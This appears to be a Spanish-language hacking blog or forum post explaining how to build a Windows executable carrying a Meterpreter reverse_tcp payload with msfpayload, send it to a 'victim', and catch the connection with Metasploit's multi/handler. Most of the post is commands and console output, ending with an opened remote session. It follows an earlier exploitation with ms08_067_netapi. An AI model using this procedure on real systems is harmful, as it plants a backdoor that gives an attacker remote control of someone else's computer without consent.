Generando Ejecutable con PAYLOAD
[Metasploit By: Shell Root]
Despues de explotar la vulnerabilidad en sistemas Windows XP SP 2
[445/tcp "Microsoft Windows XP microsoft-ds"] con el exploit
exploit/windows/smb/ms08_067_netapi. Ahora veremos como obtener una session del
Meterpreter cuando la
victima ejecute un archivo Ejecutable.
Primero generamos el ejecutable con el PAYLOAD
windows/meterpreter/reverse_tcp. Así, desde la Shell de
Linux:
shell@ShellRoot:~/msf3$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=5555 X > /home/shell/hola.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=192.168.0.5,LPORT=5555
shell@ShellRoot:~/msf3$
Me toco hacerlo desde
Linux porque en
W1nd0w$, no me funco el parametro
X >.
Ahora revizamos la ruta
/home/shell/hola.exe y miramos que existe el archivo.
Mandamos el archivo a la
Victima, pero antes de ello, debemos configurar el
Auxiliary multi/handler, de esta forma:
shell@ShellRoot:~/msf3$ ./msfconsole
888 888 d8b888
888 888 Y8P888
888 888 888
88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888
888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888
888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b.
888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
888
888
888
=[ metasploit v3.3.3-release [core:3.3 api:1.0]
+ -- --=[ 481 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
msf > use multi/handler
Cabe decir de que debemos de configurar de nuevo el PAYLOAD puesto dentro de archivo ejecutable que creamos al inicio
(hola.exe), ponemos los mismos datos. Así:
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.5
LHOST => 192.168.0.5
msf exploit(handler) > set LPORT 5555
LPORT => 5555
Ahora es tiempo de ejecutar nuestro Auxiliary. Pero ejecutarémos digamos que en un "segundo plano", a la espera de que la victima abra el ejecutable que le mandamos. Así:
msf exploit(handler) > exploit -j
[*] exploit Running as background job.
[*] Starting the payload handler...
[*] Started reverse handler on port 5555
msf exploit(handler) >
Ahora es cuestion de esperar a que la victima abra el archivo y obtendrémos la session del Meterpreter. Supongamos que pasaron varios minutos y que la victima abrio el archivo, nos debe de aparecer esto:
msf exploit(handler) > [*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.5:5555 -> 192.168.0.2:11735)
Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2009/12/generando-ejecutable-con-payload.htmlVideo: Nothing...
Saludos!
Mostrar Mensajes
